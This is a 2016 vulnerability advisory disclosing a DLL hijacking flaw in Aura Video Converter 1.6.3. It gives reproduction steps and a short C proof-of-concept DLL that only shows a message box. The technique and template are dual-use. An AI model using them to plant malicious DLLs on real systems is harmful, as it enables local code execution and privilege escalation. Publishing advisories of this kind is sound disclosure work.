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Aura Video Converter 1.6.3 - DLL Hijacking Vulnerability

Posted on 30 November -0001

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===============
Aura Video Converter 1.6.3 - DLL Hijacking Vulnerability


Release Date:
=============
2016-09-24


Vulnerability Disclosure Timeline:
==================================
2016-09-24 : Discovery of the Vulnerability
2016-09-25 : Contact the Vendor (No Response)
2016-10-03 : Public Disclosure



Product & Service Introduction:
===============================
Aura Video Converter is a gift from Aura4You. We make this video converter completely free for everyone. 
You can download and use this free video converter for any purpose. It's a free video converter for everybody.
Aura Free Video Converter is one of the most renowned free video converters for converting video files between various formats, with 
fast converting speed and excellent video quality.
 
(Copy of the Vendor Homepage: http://www.aura4you.com/ )


Affected Product(s):
====================
Aura4you
Product: Aura Video Converter v1.6.3 - Software


Exploitation Technique:
=======================
Local


Severity Level:
===============
High


Technical Details & Description:
================================
A local dll injection vulnerability has been discovered in the official Aura Video Converter v1.6.3 software.
The issue allows local attackers to inject code to vulnerable libraries to compromise the process or to gain higher access privileges.


Vulnerable Software:
           [+] Aura Video Converter

Vulnerable Version(s):
           [+] v1.6.3

Vulnerable Libraries:
           [+] nvcuvenc.dll



Proof of Concept (PoC):
=======================
The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the local vulnerability ...
1. Compile dll and rename to nvcuvenc.dll 
2. Copy nvcuvenc.dll to C:Program FilesAura4YouAura Video ConverterAuraVideoConv.exe
3. Launch AuraVideoConv.exe
4. MessageBox Executed

-- PoC Exploit --

#include <windows.h>
#define DllExport __declspec (dllexport)

BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
dll_hijack();
return 0;
}

int dll_hijack()
{
MessageBox(0, "DLL Hijacking By ZwX!", "DLL Message", MB_OK);
return 0;
}


[+] Disclaimer [+]
===================
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.


Domain:     www.zwx.fr
Contact:    msk4@live.fr	
Social:     twitter.com/XSSed.fr
Feeds:      www.zwx.fr/feed/
Advisory:   www.vulnerability-lab.com/show.php?user=ZwX
            packetstormsecurity.com/files/author/12026/
            cxsecurity.com/search/author/DESC/AND/FIND/0/10/ZwX/
            0day.today/author/27461


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